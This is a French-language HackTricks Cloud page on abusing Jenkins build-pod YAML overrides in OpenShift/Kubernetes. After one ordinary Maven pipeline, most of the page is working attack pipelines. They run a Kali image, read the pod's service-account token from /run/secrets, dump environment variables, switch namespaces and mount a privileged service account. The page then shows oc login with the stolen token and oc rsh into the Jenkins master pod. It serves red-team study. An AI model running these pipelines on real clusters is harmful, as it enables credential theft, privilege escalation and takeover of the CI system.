Jenkins dans Openshift - remplacements de pod de construction
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Lâauteur original de cette page est Fares
Plugin Kubernetes pour Jenkins
Ce plugin est principalement responsable des fonctions de base de Jenkins Ă lâintĂ©rieur dâun cluster openshift/kubernetes. Documentation officielle ici Il offre quelques fonctionnalitĂ©s telles que la possibilitĂ© pour les dĂ©veloppeurs de remplacer certaines configurations par dĂ©faut dâun pod de construction Jenkins.
Fonctionnalité principale
Ce plugin permet une flexibilité aux développeurs lors de la construction de leur code dans un environnement adéquat.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Certains abus tirant parti de lâoverride yaml de pod
Il peut cependant ĂȘtre abusĂ© pour utiliser nâimporte quelle image accessible, comme Kali Linux, et exĂ©cuter des commandes arbitraires en utilisant des outils prĂ©installĂ©s de cette image. Dans lâexemple ci-dessous, nous pouvons exfiltrer le token de serviceaccount du pod en cours dâexĂ©cution.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Une syntaxe diffĂ©rente pour atteindre le mĂȘme objectif.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Exemple pour remplacer lâespace de noms du pod
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Un autre exemple qui essaie de monter un serviceaccount (qui peut avoir plus de permissions que celui par dĂ©faut, exĂ©cutant votre build) en fonction de son nom. Vous devrez peut-ĂȘtre deviner ou Ă©numĂ©rer dâabord les serviceaccounts existants.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
La mĂȘme technique sâapplique pour essayer de monter un Secret. Lâobjectif final ici serait de comprendre comment configurer votre build de pod pour pivoter efficacement ou obtenir des privilĂšges.
Aller plus loin
Une fois que vous vous ĂȘtes habituĂ© Ă jouer avec, utilisez vos connaissances sur Jenkins et Kubernetes/Openshift pour trouver des erreurs de configuration / abus.
Posez-vous les questions suivantes :
- Quel compte de service est utilisé pour déployer des pods de build ?
- Quels rĂŽles et permissions a-t-il ? Peut-il lire les secrets de lâespace de noms dans lequel je me trouve actuellement ?
- Puis-je Ă©numĂ©rer dâautres pods de build ?
- Ă partir dâun sa compromis, puis-je exĂ©cuter des commandes sur le nĆud/pod maĂźtre ?
- Puis-je énumérer davantage le cluster pour pivoter ailleurs ?
- Quel SCC est appliqué ?
Vous pouvez découvrir quels commandes oc/kubectl émettre ici et ici.
Scénarios possibles de privesc/pivoting
Supposons que lors de votre Ă©valuation, vous ayez dĂ©couvert que tous les builds Jenkins sâexĂ©cutent dans un espace de noms appelĂ© worker-ns. Vous avez compris quâun compte de service par dĂ©faut appelĂ© default-sa est montĂ© sur les pods de build, cependant il nâa pas tant de permissions Ă part lâaccĂšs en lecture sur certaines ressources mais vous avez pu identifier un compte de service existant appelĂ© master-sa. Supposons Ă©galement que vous ayez la commande oc installĂ©e Ă lâintĂ©rieur du conteneur de build en cours dâexĂ©cution.
Avec le script de build ci-dessous, vous pouvez prendre le contrÎle du compte de service master-sa et énumérer davantage.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Selon votre accĂšs, soit vous devez continuer votre attaque Ă partir du script de construction, soit vous pouvez vous connecter directement en tant que cet sa sur le cluster en cours dâexĂ©cution :
oc login --token=$token --server=https://apiserver.com:port
Si ce sa a suffisamment de permissions (comme pod/exec), vous pouvez Ă©galement prendre le contrĂŽle de lâensemble de lâinstance jenkins en exĂ©cutant des commandes Ă lâintĂ©rieur du pod du nĆud maĂźtre, sâil sâexĂ©cute dans le mĂȘme espace de noms. Vous pouvez facilement identifier ce pod par son nom et par le fait quâil doit monter un PVC (persistent volume claim) utilisĂ© pour stocker les donnĂ©es de jenkins.
oc rsh pod_name -c container_name
Dans le cas oĂč le pod du nĆud maĂźtre ne fonctionne pas dans le mĂȘme espace de noms que les travailleurs, vous pouvez essayer des attaques similaires en ciblant lâespace de noms maĂźtre. Supposons quâil sâappelle jenkins-master. Gardez Ă lâesprit que le serviceAccount master-sa doit exister dans lâespace de noms jenkins-master (et pourrait ne pas exister dans lâespace de noms worker-ns).
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

